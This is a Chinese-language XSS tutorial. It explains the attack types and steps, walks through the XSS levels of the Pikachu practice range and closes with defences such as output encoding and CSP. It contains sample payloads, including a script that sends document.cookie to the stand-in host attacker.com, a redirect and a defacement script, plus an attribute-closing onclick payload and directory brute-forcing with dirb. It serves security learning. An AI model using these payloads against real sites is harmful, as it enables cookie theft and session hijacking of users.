简介
XSS(跨站脚本攻击)是一种常见的 Web 安全漏洞,攻击者通过在目标网站的输入框中注入恶意脚本,当其他用户(如管理员)查看包含恶意脚本的页面时,脚本会在他们的浏览器中执行。XSS 攻击可以分为以下几种类型:
存储型 XSS:恶意脚本被存储在服务器的数据库或文件中,当其他用户访问包含恶意脚本的页面时,脚本会被执行。
反射型 XSS:恶意脚本通过 URL 参数或表单提交被反射回用户浏览器,当用户访问包含恶意脚本的页面时,脚本会被执行。
DOM 型 XSS:恶意脚本通过修改页面的 DOM 结构,注入恶意脚本,当页面加载时,恶意脚本会被执行。
XSS 攻击步骤
1 识别漏洞
攻击者首先需要识别目标网站中存在 XSS 漏洞的输入点,例如:
评论框
反馈表单
搜索框
URL 参数
2 注入恶意脚本
攻击者在识别的输入点中注入恶意脚本。常见的恶意脚本包括:
弹出警告框:
<script>alert('XSS');</script>
窃取 Cookie:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie;</script>
重定向:
<script>window.location='http://attacker.com';</script>
修改页面内容:
<script>document.body.innerHTML='<h1>Hacked!</h1>';</script>
3 触发脚本执行
攻击者需要诱导其他用户(如管理员)访问包含恶意脚本的页面,从而触发脚本执行。常见的触发方式包括:
钓鱼链接:攻击者发送包含恶意脚本的钓鱼链接,诱导用户点击。
社交工程:攻击者通过社交工程手段,诱导用户访问包含恶意脚本的页面。
4 获取敏感信息
如果恶意脚本成功执行,攻击者可以获取用户的敏感信息,例如:
Cookie:通过窃取 Cookie,攻击者可以冒充用户身份,访问受保护的资源。
会话令牌:通过窃取会话令牌,攻击者可以劫持用户的会话。
其他敏感信息:攻击者可以通过恶意脚本获取用户的其他敏感信息,如用户名、密码等。
下面介绍pikachu靶场的Cross-Site Scripting(XSS)的通关
XSS类型
1.反射型(get)
看到题目表单输入就要考虑是否有xss漏洞
-
构造payload尝试:发现我们的输入收到限制,属于前端的限制
- 查看代码尝试修改使得能够输入
- 对限制长度做出修改
- 修改之后提交设置好的payload发现能够执行了,说明存在漏洞
2.反射型(POST)
使用已经爆破的用户和密码进行登入发现和上一关是一样的了
- 构造payload后发现也能执行弹框
- POST与get方法不同的在于post方式提交表单时在URL不会显示,而get方式提交会在URL中显示提交的信息
3.存储型XSS
- 看到时留言板也要想到XSS漏洞,尝试构造payload提交发现能执行,并且发现提交的信息已经进行了存储,当重新进入这个页面时依然会触发弹窗。
4.DOM型 XSS
- 看到表单也是先尝试构造payload提交看看是否有变化
- 没有任何发现
- 查看源代码
- 看到输入框中的内容就是代码中的str,可以尝试在这里构造一个闭合,实现弹窗
- 重新设置payload: 'οnclick="alert("FF")" ,提交之后点击下面的提示文字发现实现了弹框。
5.DOM型XSS-X
- 与上一关类似,不同的是可以观察到提交的信息可以在URL的text看到,所以也是构造闭合payload后点击下方文字即可
看到弹窗
6.XSS之盲打
看到题目得输入框首先先随便输入脚本看看有何反应
- 当点击提交之后发现没有任何有用的改变,url也没有变化
- 之后再查看页面的源代码,只能发现post方法提交了输入的东西
- 前端的代码看不出什么问题,尝试登入后台查看有没有什么发现,不知道后台的url,所以可以使用kali的dirb去爆破目录
- 登录后发现刚才提交的弹窗已经显示了
- 并且刚才构造的两个payload已经成功上传
防范措施
为了防范 XSS 攻击,可以采取以下措施:
1 输入验证和过滤
输入验证:对用户输入进行严格的验证,确保输入符合预期的格式和内容。
输出编码:在将用户输入显示到页面上时,进行适当的编码(如 HTML 编码),防止恶意脚本执行。
2 Content Security Policy (CSP)
-
CSP:设置 Content Security Policy,限制页面中可以执行的脚本来源,防止外部脚本的执行。
3 安全头设置
X-XSS-Protection:启用浏览器内置的 XSS 过滤器,防止简单的 XSS 攻击。
X-Content-Type-Options:防止 MIME 类型嗅探,确保浏览器正确解析内容类型。
4 定期安全审计
代码审查:定期进行代码审查,确保没有潜在的 XSS 漏洞。
安全测试:使用自动化工具和手动测试方法,进行安全测试,如渗透测试、模糊测试等。
5 使用安全的库和框架
-
使用安全的库和框架:使用经过验证的安全库和框架,避免使用过时或不安全的组件。
先到这里吧!!!